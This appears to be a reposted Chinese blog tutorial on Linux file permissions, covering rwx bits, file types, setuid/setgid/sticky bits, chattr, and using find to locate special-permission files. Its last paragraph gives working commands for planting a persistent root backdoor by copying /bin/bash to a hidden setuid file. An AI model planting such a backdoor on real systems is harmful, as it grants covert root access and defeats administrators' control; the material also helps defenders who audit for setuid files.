在linux中一切皆为文件!
linux的基本文件权限是r,w,x。r对文件时是可读的权限,对目录来说是是否能看见目录中的内容。w对文件是可写权限,对目录来说是是否在该目录中写文件。x权限对文件来说是执行权限,对目录来说是是否可以进入该目录。
用ll查看一个文件,一个文件有10个文件头信息符号位,第一个是标示文件类型,中间3个一组分别是user,group,other。文件类型有:‘-’表示文件、‘d’表示目录、‘b’块设备、‘c’字符设备、‘l’链接文件、‘s’socket文件、FIFO管道文件。socket文件与网络通信有关,如/dev/log。block设备表示磁盘文件和光盘等,如/dev/sr0。character设备表示按照字符操作中断和设备等,如/dev下的终端设备。管道文件用来提供进程通信的一种方式。
linux文件的特殊权限。suid,sgid,sbit(粘贴位)。suid对于可执行的文件进行设定,如/usr/bin/passwd命令,使每个执行此命令的用户都能以拥有人的权限取执行该命令,当文件不具备执行权限x时会显示为S。sgid同suid一样使该文件执行时以拥有组的权限来执行。sbit对目录进行设置,只有root和该文件拥有人可以删除该文件,例如在/tmp下放置的是所有用户的临时文件,对/tmp设置t权限不容易误删除别人的文件,当无x时权限为显示为T。当sgid对目录设置时,在该目录下创建文件和目录时所属组不变,常用于开发环境中。
对于特殊权限。suid--4,guid--2,sbit--1.利用chmod 7777 file 来设置权限。
linux文件的隐藏属性。可利用lsattr来查看,设置的时候用chattr。具体设置可用#man chattr 来查看。
查看文件权限的命令chown,chmod,chgrp,lsattr,chattr。
查找相关权限的方法:
#find / -perm (/)(-)(+)mode
mode只匹配所需求权限。-mode特殊权限位有即可匹配,普通权限任意匹配。 +mode匹配所有包含查找的特殊和普通文件权限的文件。/mode与+mode相当。
查找带有特殊权限的文件的命令
#find / -perm /7000 或 #find / -perm +7000
**利用suid权限留下后门:将/bin/bash复制到/.hello,给予文件s的权限,用普通用户执行./.hello文件则会直接以root的权限运行shell。
#cp /bin/bash /.hello
#chmod u+s /.hello
#su - user
$./.hello -p
.hello-4.1#可以用root权限执行命令。
#id 查看会发现euid=root
转载于:https://blog.51cto.com/tcqws/1373985